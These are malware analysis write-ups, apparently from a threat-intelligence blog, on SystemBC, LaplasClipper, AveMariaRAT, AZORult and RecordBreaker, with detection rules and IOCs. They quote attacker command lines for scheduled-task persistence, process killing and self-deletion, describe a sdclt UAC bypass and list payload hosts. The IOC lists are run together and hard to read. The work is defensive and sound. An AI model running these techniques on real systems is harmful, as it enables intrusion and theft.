Continuing the discussion, when comparing the file launched in a temporary folder, it’s easy to see that it’s an identical copy, which indicates a duplication of the malware. The downside is that the filename is generated dynamically and doesn’t follow any easily detectable pattern.

To get started, Coroxy exhibits a Mutex control in all the samples I’ve examined. In a general sense, it checks for its existence to ensure that it doesn’t run more than once. If it doesn’t exist, the malware proceeds to launch. Depending on the sample, it might generate a random string for this purpose, or, quite intriguingly, it will deobfuscate (typically using XOR) a domain, which it will later use as a Mutex. This adds an element of complexity.

Depending on the sample, you’ll observe how it establishes persistence. This can be achieved through job creation or by creating a registry entry, usually involving the execution of a PowerShell command to run the SystemBC sample.

• TASK

• Registry

As I mentioned earlier, it’s common in some versions for SystemBC to launch a version of itself, as some of the initial graphs indicated, in temporary paths like ProgramData, Roaming, or Temp.

SystemBC is also known for detecting a2guard and being aware of its presence on the system. This is a useful anti-analysis technique to identify potential antivirus programs or other software that might interfere with its communication or operation. To do this, it takes a snapshot of all processes and iterates through them using ProcessFirst and ProcessNext, searching for this mentioned binary or others.

At this stage, SystemBC has achieved persistence, control over running processes, and, as it progresses, it gathers information about the system, while also deobfuscating and decrypting network data it will use for later connections.

Once it has determined where it needs to connect, it only has to establish the connection. Typically, it employs a loop to attempt access to the server it identified earlier, along with the corresponding port. This function might vary slightly across versions, but the fundamental behavior is similar.

_Intelligence

From the analysis of various samples, although only a selection has been presented in this document, all possible addresses are collected to discover more infrastructure that threat actors may have used in the context of SystemBC or other malware associated with it. This analysis also considers the level of engagement, usage patterns, and the presence in underground markets.

The primary focus was on assessing whether the interest and usage of Coroxy remained relevant. Numerous forum threads were identified where discussions and interactions related to this malware were ongoing.

Moreover, there are users inquiring about specific updates and discussing the developer of SystemBC.

Infrastructure has been identified where it’s possible to purchase access to the operating system for roughly $350 to $300, which must be paid using a cryptocurrency wallet. These wallets are highly active, receiving daily payments to the various addresses they provide.

Subsequently, an attempt was made to pivot on as many indicators as discovered during the analysis of all the samples, with the aim of locating more infrastructure. Given this malware’s background and its common use by loaders or in intermediate attack stages, it was expected that infrastructure related to other malware would also be found during the investigation. (I’ve gained significant knowledge in these techniques by following the work of individuals like @MichalKoczwara, @TLP_R3D, and @josh_penny, and I’m grateful for their contributions. I recommend following them as well :) )

Constantly extracting IP addresses and domains, I like to input them into VirusTotal afterward to determine if there’s any connection between them. As you know, such a connection doesn’t necessarily imply a direct relationship, as many hosts can be used by different groups and various types of malware. However, SystemBC is associated with a wide range of loaders and malware, which contributes to the interconnectedness. An example of this complexity can be seen in the following diagram.

_Report

_Detection Opportunities

• [TA0002][T1564.003] Execution of hidden powershell

(Process) powershell.exe > (Command) *-windowstyle hidden -Command "&* > (ChildPath) *ProgramData*|*AppData*<RandName>.exe

• [TA0003][T1547.001] Persistence using socks value in registry

(Registry) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN > (ValueName) socks5 > (ValueData) powershell*-windowstyle hidden*-Command*

• [TA0003][T1053] Persistence running tasks using start value

(Process) taskeng.exe > (Path) *ProgramData* | *AppData* > (Command) *ProgramData*|*AppData*\<Randname>.exe start{Number}|start

• [TA0003][T1053] Persistence creating tasks with random name

(File) <RandName>.job > (Path) *\Windows\Tasks\<RandName>.job

• [TA0005][T1070.004] Auto-delete function to evade file detection

(Command) cmd.exe*/C*ping*{IP}*-n*{Number}*-w*{Number}*>*Null & Del*

• [TA0011][T1090] Connection outside through a file in a temporary path

(Path) *ProgramData* | *AppData* > (NetConnection) Public IP {Non common country|Direction}

_IOC

Hash:c96f8d4d1ee675c3cd1b1cf2670bb9bc2379a6b66f3029b2ffcfdd67c612c4996f78256f20eb2b5594391095a341f8749395e7566fdd2ddd3a34a0db9bb9f871E81eb1aa5f7cc18edfc067fc6f3966c1ed561887910693fa88679d9b4325813397ebef56e3fa3642d0395c00c25975e586089d26632e65422099a5107d375993ef71c960107ba5034c2989fd778e3fd72d4cdc044763aef2b4ce541a62c3466c6E57D1FC4D14E7E7C2216085E41C393C9F117B0B5F8CE639AC78795D18DBA7306b56f6f96b33d0acefd9488561ce4c0b4a1684daf5dde9cc81e56403871939c4F0073027076729CE94BD028E8F50F5CCB1F0184C91680E572580DB0110C87A823d1d747d644420a2bdc07207b29a0509531e22eb0b1eedcd052f85085bef6865c68035aabbe9b80ace209290aa28b8108cbb03a9d6a6301eb9a8d638db024ad0c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5 Domain:payload[.]sumxstat215dm[.]xyzmxstex725dm[.]xyzzl0yy[.]rur0ck3t[.]ru IP (High confidence):91[.]191[.]209[.]1105[.]42[.]65[.]6745[.]15[.]158[.]40 IP (Mid-Low confidence):178[.]236[.]246[.]117185[.]174[.]136[.]14845[.]142[.]122[.]179178[.]236[.]247[.]3945[.]142[.]122[.]105185[.]112[.]83[.]129185[.]112[.]83[.]164185[.]112[.]83[.]172185[.]112[.]83[.]595[.]42[.]65[.]6778[.]153[.]130[.]16645[.]142[.]122[.]21591[.]191[.]209[.]1105[.]188[.]206[.]246

LaplasClipper (Laplas Clipper also known as Laplace Clipper) is a well-known malware that operates as a crypto clipboard hijacker. It has been in use since 2022. This malware can be purchased from its portal for as low as $49, with payment structured as a monthly subscription. LaplasClipper has been employed by various criminal threat actors to steal cryptocurrencies.

This malware gains access to devices through various methods. It has been observed being distributed through YouTube video links or compromised websites, as well as links to files containing LaplasClipper loaders. It has also been delivered via spear-phishing campaigns. In recent versions of the malware, it establishes persistence in registries and injects itself into files it creates to gain an advantageous position. From there, it monitors the clipboard, waiting for cryptocurrency wallet-related information to be added. It modifies this information to hijack the cryptocurrencies to the attacker’s server.

As I said, Laplas has been involved in several executions related to other malware or loaders, some of them, which are related to active groups, are the following:

• VidarStealer
• SmokeLoader
• AresLoader
• RedLine Stealer
• AgentTesla

_Technical Analysis

As mentioned earlier, LaplasClipper has various initial access vectors through which it can infiltrate affected devices. Its ultimate goal is to modify the clipboard to alter transactions related to cryptocurrencies.

An illustrative example of its steps is as follows:

With this diagram, I aim to provide a general understanding of how new versions of LaplasClipper function. I’ve reviewed recent samples and found no significant variations between them. Therefore, the execution tree of current LaplasClipper versions should be similar to what I present below:

We can observe the execution of a binary that establishes persistence in \CurrentVersion\RUN. It also launches a file named “ntlhost,” which is subsequently injected. Notably, the name of the dropped binary (“ntlhost”) and the writing path vary, representing the most noticeable differences I’ve identified, an example of this are the following paths:

C:\Users\<user>\AppData\Roaming\NTSystem\<MalBinaryDropped>.exeC:\Users\<user>\AppData\Roaming\telemetry\<MalBinaryDropped>.exe

Regarding the persistence aspect, there isn’t much mystery. The binary creates a file (which we will see shortly) in a temporary path. Depending on the version, it could be one or another path. It then modifies the registry key and adds the newly created path. This ensures that LaplasClipper executes with every login

At this stage, we’ve discussed the creation of a file. It’s intriguing that relatively recent samples I’ve encountered are quite heavy. This is a common tactic used by some malware to deter analysis. Such samples slow down orchestrated analysis systems, increase the time taken for software reversing, and so on. Essentially, these samples contain unnecessary functionalities that don’t justify their weight. This becomes more problematic when the malware creates a second file in temporary paths.

In terms of file writing, in the analyzed samples, multithreading is heavily employed. Threads are used to expedite the binary’s writing process. This approach makes sense, given that the files launched in temporary paths are typically large. As I mentioned earlier, in this routine, we can observe how the binary gradually writes the file before releasing it, leaving the file in the path.

Following this, I started comparing the files. It seemed unusual and uncommon for malware to drop itself, so I anticipated that it would weigh much more. However, upon examining its functions, strings, and data content, I found that its functionalities were mostly the same, with the addition of a significant amount of data at the end.

The binary operates heavily in memory. Depending on the version, I encountered samples packed with MPRESS or ones with obfuscated sections that were gradually deobfuscated during runtime. Consequently, in addition to the functionalities Laplas already possesses (excluding packed versions), it imports numerous libraries. During runtime, it dynamically loads more libraries and imports using GetProcAddress + LoadLibrary.

Some of the loaded imports include:

AbortSystemShutdownAAbortSystemShutdownWAccessCheckAndAuditAlarmAAccessCheckAndAuditAlarmWAccessCheckByTypeAAccessCheckByTypeAndAuditAlarmAAccessCheckByTypeAndAuditAlarmWAccessCheckByTypeResultListAAccessCheckByTypeResultListAndAuditAlarmAAccessCheckByTypeResultListAndAuditAlarmWAddAccessAllowedAceAddAccessAllowedAceExAddAccessAllowedObjectAceAddAccessDeniedAceAddAccessDeniedAceExAddAccessDeniedObjectAceAddAceAddAuditAccessAceAddAuditAccessAceExAddAuditAccessObjectAceAddConditionalAceAddMandatoryAceAddUsersToEncryptedFileAddUsersToEncryptedFileExAdjustTokenGroupsAdjustTokenPrivilegesAllocateAndInitializeSidAllocateLocallyUniqueIdAreAllAccessesGrantedAreAnyAccessesGrantedAuditComputeEffectivePolicyBySidAuditComputeEffectivePolicyByTokenAuditEnumerateCategoriesBySidAuditEnumerateCategoriesByTokenAuditEnumeratePerUserPolicyBySidAuditEnumeratePerUserPolicyByTokenAuditEnumerateSubCategoriesBySidAuditEnumerateSubCategoriesByTokenAuditLookupCategoryGuidFromCategoryIdAuditLookupCategoryIdFromCategoryGuidAuditLookupCategoryNameAAuditLookupCategoryNameWAuditLookupSubCategoryNameAAuditLookupSubCategoryNameWAuditQueryGlobalSaclAAuditQueryGlobalSaclWAuditQueryPerUserPolicyBySidAuditQueryPerUserPolicyByTokenAuditSetGlobalSaclAAuditSetGlobalSaclWAuditSetPerUserPolicyAuditSetSecurityBackupEventLogABackupEventLogWBuildExplicitAccessWithNameABuildExplicitAccessWithNameWBuildImpersonateExplicitAccessWithNameABuildImpersonateExplicitAccessWithNameWBuildImpersonateTrusteeABuildImpersonateTrusteeWBuildSecurityDescriptorABuildSecurityDescriptorWBuildTrusteeWithNameABuildTrusteeWithNameWBuildTrusteeWithObjectsAndNameABuildTrusteeWithObjectsAndNameWBuildTrusteeWithSidABuildTrusteeWithSidWCancelOverlappedAccessChangeServiceConfig2AChangeServiceConfig2WChangeServiceConfigAChangeServiceConfigWCheckTokenMembershipClearEventLogAClearEventLogWCloseCodeAuthzLevelCloseEncryptedFileRawCloseEventLogCloseServiceHandleCloseThreadWaitChainSessionCloseTraceCommandLineFromMsiDescriptorComputeAccessTokenFromCodeAuthzLevelControlServiceAControlServiceExAControlServiceExWControlServiceWControlTraceAControlTraceWConvertAccessToSecurityDescriptorAConvertAccessToSecurityDescriptorWConvertSecurityDescriptorToStringSecurityDescriptorAConvertSecurityDescriptorToStringSecurityDescriptorWConvertSidToStringSidAConvertSidToStringSidWConvertStringSecurityDescriptorToSecurityDescriptorAConvertStringSecurityDescriptorToSecurityDescriptorWConvertStringSidToSidAConvertStringSidToSidWConvertToAutoInheritPrivateObjectSecurityCopySidCreateCodeAuthzLevelCreatePrivateObjectSecurityCreatePrivateObjectSecurityExCreatePrivateObjectSecurityWithMultipleInheritanceCreateProcessAsUserACreateProcessAsUserWCreateProcessWithLogonWCreateProcessWithTokenWCreateRestrictedTokenCreateServiceACreateServiceWCreateTraceInstanceIdCreateWellKnownSidCredBackupCredentialsCredDeleteACredDeleteWCredEncryptAndMarshalBinaryBlobCredEnumerateACredEnumerateWCredFindBestCredentialACredFindBestCredentialWCredFreeCredGetSessionTypesCredGetTargetInfoACredGetTargetInfoWCredIsMarshaledCredentialACredIsMarshaledCredentialWCredIsProtectedACredIsProtectedWCredMarshalCredentialACredMarshalCredentialWCredProfileLoadedCredProfileUnloadedCredProtectACredProtectWCredReadACredReadByTokenHandleCredReadDomainCredentialsACredReadDomainCredentialsWCredReadWCredRenameACredRenameWCredRestoreCredentialsCredUnmarshalCredentialACredUnmarshalCredentialWCredUnprotectACredUnprotectWCredWriteACredWriteDomainCredentialsACredWriteDomainCredentialsWCredWriteWCredpConvertCredentialCredpConvertOneCredentialSizeCredpConvertTargetInfoCredpDecodeCredentialCredpEncodeCredentialCredpEncodeSecretCryptAcquireContextACryptAcquireContextWCryptContextAddRefCryptCreateHashCryptDecryptCryptDeriveKeyCryptDestroyHashCryptDestroyKeyCryptDuplicateHashCryptDuplicateKeyCryptEncryptCryptEnumProviderTypesACryptEnumProviderTypesWCryptEnumProvidersACryptEnumProvidersWCryptExportKeyCryptGenKeyCryptGen[...]

Talking about loaded libraries, I have seen in different samples that before performing this action, it tries, in the new path it has created where it launches the file, to load several libraries that it then loads normally, but first it tries to load it from the source path, which creates a big noise in telemetry that is quite accessible for detection.

Summary of all tries:

After this, in all versions of the malware, it somehow retrieves system information. While not its main focus, it collects elements such as the OS version, computer and user names, time, and device language. These elements are usually more for victim identification concerning the command and control (C&C) rather than data that a RAT or pure stealer might extract. Notably, the most interesting information I discovered was the OEM version being used on my machine.

Subsequently, with the new capabilities loaded into memory, the file written in a temporary path, persistence established, and basic victim machine information acquired, it proceeds with injection. Even in this stage, it doesn’t perform any novel actions. It loads the file to inject into memory, opens the file written in the path (which, as we remember, was disproportionately large), and opens it in a suspended state to write to it. It then releases it using ResumeThread, at which point we’ll see it running with the filename it dropped earlier

After this, we’ll observe the malware delving into network functions. I’ve captured various types of traffic from different samples. Here, it’s evident how it makes a request to an address commonly used by LaplasClipper:

Clipper[.]guru.

Following this, it sends data to the attacker, including information about our machine and a generated identifier.

Here’s what occurs in this phase, having ensured no information slipped through. The malware constantly monitors the clipboard. It uses regular expression (Regex) patterns to detect certain content, as shown below:

Subsequently, with the established connection I mentioned earlier, along with the obtained information, it maintains control of the clipboard. It waits for the victim machine to perform cryptocurrency wallet-related actions. This means that the malware simply waits for one of those patterns to be written to the clipboard. When this happens, it changes the wallet address to one controlled by the attacker. For instance, if you were a LaplasClipper victim attempting a cryptocurrency transaction, the malware would automatically alter the transaction to the attacker’s server.

An example I recently came across on Twitter by Jane (follow her at @Jane_0sint) demonstrates this process clearly on Any.Run.

Following this, having accumulated a considerable number of IP addresses from different analyzed samples and having spent some time researching this malware across networks, I began searching for all these servers.

The first step was to examine the domain it initially connected to, and I found that everything was associated with laplas.app. However, my attempts to access the portal proved unsuccessful, so I dug deeper to locate these servers. It turned out that they had all been moved temporarily. I recall seeing an image like this on Twitter, credited to the cyber colleague Chris Duggan (follow him at @TLP_R3D).

I attempted to check if the situation was the same now, and indeed, I found the same information:

I then tried to see if I could reach the servers that the analyzed samples were connecting to (telemetry indicated that everything was fine, but I like to verify everything). I could indeed see both the previously discussed Regex patterns and the requests.

Following this, I began searching for the portal and found both Telegram groups associated with the creators and the web portal. The web portal had moved from Laplas but retained the exact same functionality. It only changed how it is accessed. Internally, it functions the same and sends information in a similar way. However, it’s now controlled from a different hosting location:

For better clarity, I’ve created the following map to consolidate the information:

LaplasClipper has seemed to me a very interesting malware, of which there is not much information, that is why I have ventured into it, I am sure that a large number of criminal groups will make use of it, as it works quite fast and is quite stealthy, we will keep track of this malware and the use they make of it, as well as if new versions appear to keep getting detection possibilities.

Finally, I would like to thank you for reading this analysis and for supporting me :)

_TTP

[T1140] Deobfuscate/Decode Files or Information[T1027] Obfuscated Files or Information[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder[T1129] Shared Modules[T1095] Non-Application Layer Protocol[T1106] Native API[T1543] Create or Modify System Process[T1082] System Information Discovery[T1055] Process Injection[T1115] Clipboard Data

_IOC

78362eb5c4529001a3bc7ecab62b904afef81c63b6778ba00b99eb3398140dab11c3e7a62b3e78c6ec720aea618bf0a3854ad42535f888532c3e206f3724db4c4230177379ff0422741a5714ba02dbeccdac0edc6d2c1e4123827f23ff179e64bdf326424f960a66d01dd645db9fd335a157ceb86d7f482ff15205fa7d9cc7b0f022037056b50b4baf5db8ba0a437494662dc93cee9421ed12471e14a58a0d5022b198c5fc1e073ef00fc7a44ca20db5f44630f4e0e746abcf2060207d7129d9d30e2337e87b5bad478d20dea2fa51d38a4a9506542bdaaea7640dcc68a4432ca3f665043305d67f64f7386a8bcd89dc5ce86a76a6b5042827af58cd8b4e10f217ca2de661fa07dd83a55a5005c61eb8aee1e9cab56e9a13bc36a27f4b785554clipper[.]guru85[.]192[.]40[.]252206[.]189[.]229[.]43185[.]209[.]161[.]61168[.]100[.]10[.]23645[.]66[.]230[.]149

AveMariaRAT, also known as WarZoneRAT, is one of the most famous and widely used RATs in recent years. It can be purchased with a license and monthly subscriptions ranging from $16 to $38 on its website. This tool is used and modified by various groups, ranging from disorganized or resource-limited individuals known as script kiddies to highly relevant criminal groups or APTs.

Some of the notable groups that have been observed using AveMariaRAT include:

• Tomiris ( 🏴 )
• Carbanak | Anunak ( 🇺🇦 )
• Aggah ( 🏴 )
• BlindEagle | APT-C-36 ( 🇨🇴 )
• Confucious ( 🇮🇳 )
• SideWinder ( 🇮🇳 )
• HazyTiger | Bitter ( 🇮🇳 )
• FIN7 ( 🏴 )
• SandWorm Team | Voodo Bear ( 🇷🇺 )
• Kasablanka ( 🏴 )

This malware, used by the mentioned groups, can infiltrate the infrastructure in various ways, from exploiting Spear-Phishing to compromising websites where it is downloaded. Once on our devices, the RAT has capabilities to escalate privileges, bypass UAC, evade defenses like security software, gather sensitive information from the device and user, and inject itself into processes to maintain active communication with the C&C server operated by the attacker

_Technical Analysis

As I mentioned earlier, the threat actor commonly utilizes compromised emails or web pages with the ultimate goal of getting you to download or execute the malware sample after passing stage number 1.

An example step-by-step process of various samples I have analyzed from different versions of AveMariaRAT could be as follows:

The executions vary greatly depending on the version, but typically it tries to determine if it is already running on the machine using a Mutex

After that, it can perform anti-dbg/Anti-VM tasks or directly check for security software that may be installed on the system

A common practice in AveMaria RAT is privilege escalation or bypassing UAC. The most common method involves abusing sdclt.exe, which, similar to CompMgmtLauncher (Windows console), searches for a library or component in a registry that is normally not present. This is exploited for hijacking by introducing a library that will be loaded, and these binaries usually have the capability to elevate themselves, allowing them to execute with higher privileges, thus running the malware with the desired privileges

Here you can see this parallelism with a PoC I made some time ago and we can see that it seeks the same in both cases:

The overall picture of how this is done with sdclt is as follows:

Depending on the sample, there is usually a subsequent resource loading for the injection. This can be found in the resource section of the binary, and as seen, it checks if you are already an administrator, so the previous step should have been executed

A common practice I have observed in WarZone RAT is modifying network elements, as well as modifying keys like \CurrentVersion\Internet Settings, where it increases the maximum number of simultaneous connections to a server. The objective for this is evident

Additionally, it is also quite common to see the modification of Zone.Identifier, which allows the attacked machine to receive malicious files from untrusted sources. In other contexts, the connection would be rejected or warned as an unadvisable request. However, after the modification, the malware can send and execute any type of file, bypassing any previous warning or restriction.

Furthermore, it is also common for the malware to make changes in security checks of certain browsers, such as Internet Explorer (IE). By changing the registry key, it can increase access to certain addresses to complement its previous behavior

After this, it is common for the malware to establish persistence. Depending on the sample, it may create a copy of itself and then add the path to \CurrentVersion\Run (or similar) registry key, or it may leave a copy of itself or a script in a startup folder that will be executed on system startup

In some samples, I frequently observe the modification of folder attributes where the malware launches its copies or files it intends to use or execute. It is common to launch them in a folder like Documents or Downloads and modify the attributes to point to another location, such as ApplicationData or ProgramData. For example, it would be seen as Documents:ApplicationData. This action allows the malware to evade restrictions or security policies of the initial folder where the files are launched and potentially remain undetected. The telemetry data always reflects this pattern

<Original folder where the samples are launched>:<Folder with modified attributes>

During the analysis of different samples, I notice the consistent use of various anti-debugging techniques along with frequent sleep commands that significantly slow down debugging. This forces me to bypass them entirely

Once the sample achieves persistence, the files are launched in the desired folder, and the appropriate privileges are obtained, it commonly proceeds with the injection process. Injection serves multiple purposes: to remain hidden, complicate analysis, and ensure better persistence by residing within the target process. If the process being injected into has elevated privileges, the injected code will also inherit those privileges

Here we can see different injections performed by this RAT based on different compilations. Commonly, it extracts the code from a specific section and constructs it in memory for subsequent injection. Alternatively, it may assemble or deobfuscate the code from a resource. The target process varies depending on the samples, but I have observed processes related to .NET (such as AppLaunch, csc, RegAsm…) or the RAT itself (either a sample launched with a different name in another folder or self-executing and injecting)

After this, the malware payload will be within another process and can act more freely. At this point, the most common action is to gather relevant information about the device and/or the user, such as the operating system type, machine name, language used, etc.

Once the previous steps have been completed, the attacker focuses on establishing an external connection. Typically, the malware will have different addresses to attempt to gain access. It will commonly try to establish a connection by opening a socket to the chosen address. In the samples I have analyzed, I have observed that the malware often enters a loop where it attempts to connect to different domains from its list at regular intervals. The malware will remain waiting for instructions from the command and control (C&C) server

Once the connection is established, the attacker has achieved the desired objective: a malware injected into a process, whether legitimate or not, from which they can operate. They have modified network parameters, controlled security software, obtained data about the target system, and established persistence for each system login

_TTP

[TA0003][T1060] - Persistence using startup folder [TA0003][T1060] - Persistence Using CurrentVersion\Run Registry [TA0005][T1089] - AV software check [TA0009][T1056] - Steal sensitive information [TA0007][T1057] - Check language [TA0005][T1497] - Anti-analysis techniques [TA0005][T1055] - Process Injection [TA0004][T1548] - UAC bypass abusing of sdclt [TA0005][T1055] - Load binary from resources [TA0005][T1112] - Increase the max. connections to a server abusing of Internet Settings

_IOC

135e5dcc50f0857af71511756ec63b393f070fd188506da08012d0201360f89007dd531c1198ecf78a9d85e26db1f642de2c06d7234f46f97941afbd28bb742f0f6d6875d6ca1793369166534b041daec3f946d83df7c788ad913999ffd81eeb389e52a5612f9242ae4162ba51323010a97641be291893dcb9bc261ca26acb27ef5b814562290c60063075b290966060a79e0cc9e81cd6448d49af5c5879175f90ebeaa9a68ea0c1bf9aff1f7902d545fd5623af7aba90d8cbc53ece47f43f5196237eb7f3c5304d26fb06feafab631b64a274eb1037f51b58af5860401545726c1cc9a94713e2b614dcd99baa05c62f7cab2bb8abdb030b85a1dc539eb21dbcdb382f9a496a46db8d4eaa52ff67355a1d54ccf8531ba6d5ef06c5b445d5d43673fc341bbc5be844d20c51d8ee5356b9d44a628d0aef4e95df08b057ea6cadba3bebe61724ca5dc55a37b7c851aa645dbf7c64615e523f7dd2b901ff27d7fae03cb44a87566ee76eabd616840ed7d0f5ca8c7ec4d0f40f17642935e60af7074e719342deb77a6f03f09db95f137db0de14beb7f98c80372c21238a74d5f58b975[.]206[.]225[.]104146[.]70[.]94[.]395[.]214[.]27[.]90161[.]129[.]33[.]242173[.]212[.]207[.]73104[.]223[.]19[.]96warzonlicen1304[.]ddns[.]netdreams2reality[.]duckdns[.]orggbotowaya[.]duckdns[.]orghelpme20[.]duckdns[.]orgnewnex[.]3utilities[.]comzpec[.]ruosairus[.]duckdns[.]orglacasadelpan2024[.]duckdns[.]org

Thank you very much for reading, happy hunting :)

In recent years, different campaigns and threats have been developing, whose entry vector has been the same: email. This initial access always seems the most absurd and unworthy of attention because companies have properly trained their employees. However, the trend tells us the opposite. Many criminal groups and APTs continue to use this technique, varying or evolving it, leaving the most vulnerable element, human error, in doubt.

Phishing (T1566), a social engineering technique used as initial access (TA0001) since the mid-90s, is nothing more than a tool to deceive the victim into providing confidential information. Attackers disguise fraudulent emails with messages that appear familiar to the victim and are difficult (in most cases) to distinguish at a glance from the legitimate ones they are trying to emulate.

Along with this technique, we have spear-phishing, which has different sub-techniques (T1566.001, T1566.002, T1566.003). It uses fraudulent emails to entice the victim to click on a link, open an attachment, etc.

AZORult is one of the best known malware within the Stealer family. It is usually sold on Russian forums for prices ranging up to $100. This malware has been used by a large number of important threat actors, including some dedicated to crime such as FIN11 or TA505 (GracefulSpider) or others that are part of a state-sponsored model such as GorgonGroup from Pakistan.

This malware usually starts from an initial point as documents via Spear-Phishing or compromised web pages and is characterized by performing different file drops that later will execute and check the connection to the C&C, after this, it will steal information and create persistence or a backdoor to, before performing the exfiltration of the data, have opportunities to persist in the system and thus, the actor continue obtaining information from the system to which the affected computer belongs and sometimes pivot.

_Technical Anlysis

As mentioned above, this malware is most commonly found after Spear-Phishing or a Web site that has been compromised. After this, its main objective will be to obtain data from elements such as search engines, FTP or emails.

An example of what its steps would be is as follows:

Once we have a general understanding of what this malware is and what are its steps, we visualize how several samples would be executed to have the widest possible context, since, being a malware that several groups use and with the possibility of being able to buy it, we find different versions of AZORult coexisting

After reviewing dozens of samples the most common is to see executions of this one doing the first phase launching several cmd.exe to support itself in the execution while dropping other files in temporary paths or using sleeps through PS to avoid the sandbox analysis timeout or delay the execution.

During this phase, different files are launched from behind in folders such as:

C:\Users\<Username>\AppData\*\Temp|RoamingC:\ProgramData C:\Users\<Username>\

Here we will see different files among which, depending on the version, we can find scripts and other binaries that support the execution or the following file, which will be AZORult.

Before the execution of the Stealer, depending on the version, it performs different actions such as:

Create tasks to create persistence:

schtasks /create /tn /tr "<FilePath>" /sc minute /mo 1 /F

Modify Office settings, where we can see how the Resilience or the MRU that would make changes which will indicate that you will not be able to recover Office files that you have open and that your Office history will disappear. In this case, performed on Word, which indicates that you are covering your back, as one of the samples came from Spear-Phishing

Killing other processes:

Taskkill /F /IM winword.exe

Or run the AZORult, which is your final objective as your initial “Dropper” part. It is worth noting, that the AZORult seen, mostly were either .NET obfuscated with SmartAssembly or AutoIT (The most common) or NullSoft, I also found some in C++

Once the stealer is deployed, it will perform some actions in one way or another, since, as I said, several versions usually coexist at the same time. We can see how they usually have obfuscation and/or anti-analysis techniques

We can see from anti-dbg where it is observed if there is any thread with the DBG, or locating the HEAP flags, in short, I have seen different ways to avoid that we analyze it at low level.

Subsequently, we can see how he tries to avoid reinfection with Mutex, but not all samples used the mutex.

During the rest of the execution, I notice how it actually tries to control at several points which processes are running on the system, usually linked to anti-analysis as well since it allows us to see if there are any applications that we do not want to be running

To later look for permissions that it has in execution via Token to then be able to execute elements in a different thread with the context from which it has obtained all the information related to the credentials of the main process.

In other words, we can check if the process(Thread) in execution has enough privileges to take the thread context and execute whatever we want in the thread with the same privileges, or with the privileges of another user :)

I also find the ability to control the device by remotely shutting it down or suspending it using the Suspend + Force flag quite interesting

In the meantime, we forget the most important parts here, which are, the information theft, where according to different samples we can see that it obtains information from elements such as:

• Mail informaton
• Wallets
• FTP
• Browsers information (Cookies, History…)
• SSH (Putty|WinSCP)

Once you have obtained everything you wanted you make requests to the C&C with all the data you have obtained. It is worth noting that most samples I have found of AZORult, before running most of its functions had a check where checks if it reached the C2, if this did not happen, automatically stopped the execution, this is quite common because it avoids that if some analysts focus on the Sandbox and the C2 falls, we can not analyze the content of what comes next, besides generating an extra layer of protection, as sometimes analysts analyze malware without internet traffic.

I have found myself analyzing quite a few samples that did not have C2 and I have had to bypass the checks or directly understand with the dissaasembly that I was doing with the context of the rest of the samples, since as you know, C&Cs come and go and usually fall relatively quickly due to the great work done by the community and the companies reporting them.

Finally, it is usually observed in VT how the samples I am analyzing are related to each other to check if it leads me to IP/Domains that are highly reported, to find more samples and therefore, different versions, to see if there is any collection where I can get more context from the intelligence part, and so on

_Summary of behaviour

Chain:

Dropper > Infection > C2 communication > Information theft > Persistence and backdoor creation > Encryption > Data exfiltration

Office Manipulation:

(PrntPrc) Winword|Excel | TempFile > (ChildPrc) cmd.exe | powershell.exe > (cmd contains) \Resiliency /f(PrntPrc) Winword|Excel | TempFile > (ChildPrc) cmd.exe | powershell.exe > (cmd contains) \File MRU /v

Persistence:

(Cmd) schtasks /create /tn /tr "<FilePath>" /sc minute /mo 1 /F

Timeout | Ping abuse to auto-delete:

(Cmd) cmd.exe /c C:\Windows\system32\timeout.exe 3 & del "<FilePath>"(Cmd) cmd.exe /c ping 127.0.0.1 && del "C:\Users\admin\AppData\Local\Temp\<FolderPath>\<FileName>.exe" >> NUL

Suspicious file reading sensitive information:

(Path Temp|Roaming|ProgramData)Prc > ReadFile > (Path contains) \Wallet\ | \Wallets\ | \Recentservers.xml | \accounts.xml(Path Temp|Roaming|ProgramData)Prc > QueryReg > (Reg contains) \monero | \Bitcoin | \BitCore | \LiteCoin | \WinSCP | \Url History 

_IOC

8424aa8b6fda143bd0e2e82ea906b2aee8cf49e416308cd92bd76bdcd46b866f38c78ebf970f2fc711eddcfa9ab6562c8ccbcfb053e5ececaa695650cf7d872797710410be07f6ab12c607e9378bb399bdbe3012da245805212e2b1995065c17Fd8deb7f3c15bd91961790834864db01b5459a019777266c919465b0cac3751f9af44ae397fce9e4da5effb82fcecaeadc7dcb412d030c5e0e135639b3686efb37d4d7a7b84e4f6ead2e950ba252c23fa360a3176f49184942da3046fa693452C7930d104f9f1e522835dcbd6aecd707b6bdc27ec4f34149d32b90978e4a6878Bllsl2[.]shopBllsl2[.]shop/bll/index.phpNghfh[.]comNghfh[.]com/em/index.php171.22.30[.]164/standright/index.php85.31.45[.]29/ongod/index.php64.52.171[.]230/index.php209.208.65[.]177/index.php185.225.73[.]49/office/index.phpDomcomp[.]infoDomcomp[.]info/1210776429.phparthurcambell.ac[.]ugarthurcambell.ac[.]ug/azne.exeNanaa[.]tech/index.phpmovescx[.]topcointra[.]ac[.]ugsafetygear[.]pkscientific[.]pkkarimgousa[.]ugmistitis[.]uggoldrush[.]ugbeachwood[.]ugcitypharmacylv[.]comddlakava[.]ac[.]ugcracksmsa[.]uglastimaners[.]ugmarksidfgs[.]ugkenmil.ac[.]ug

RecordBreaker or RacoonStealerV2 is the new version of the stealer Racoon that we can buy as malware-as-a-service at the black markets under $300. Widely used in mass campaigns or used by criminal groups where they try to infect repositories or attach this malware usually compressed in ZIP/RAR format. Its main objective is to reach the largest number of victims and contains different phases including process injection, binary downloading and information theft.

_Technical Analysis

RecordBreaker usually appears in infected repositories or in attachments as a compressed file that when opened will execute a binary, which depending on the version, will make connections outside in different ways in order to geolocate, check for internet connection or download files, if this phase is fulfilled, it will execute an injection in a legitimate binary, usually related to .NET as RegAsm, InstallUtil or Regsvcs from where it will perform the information theft.

An example of execution flow is the following in which after a zip, a binary is executed that makes a request to a malicious IP and then launches a sleep encoded of 12 seconds to inject RegAsm.exe

In some versions it performs fake PNG/JPG downloads, if it fails to make the connection, the next phase is not performed.

RecordBreaker generates persistence by creating a task with a name similar to the structure of a CLSID

Task name example:

\{0A2620E2-3469-4C1A-AD19-BD835A6FA571}

After this initial phase, it performs an injection, commonly using processes related to .NET, we can see how it will perform a process suspension, and then write in the (WriteProcessMemory) modify the thread context to get all the info of this (SetThreadContext) and when it has done all the operation release the thread in which it is writing.

Processes to be considered for injection:

• RegSvcs.exe
• RegAsm.exe
• AppLaunch.exe
